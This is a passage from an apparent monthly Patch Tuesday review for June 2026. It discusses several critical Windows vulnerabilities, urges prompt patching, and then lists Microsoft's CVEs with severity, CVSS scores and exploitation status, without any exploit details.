Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  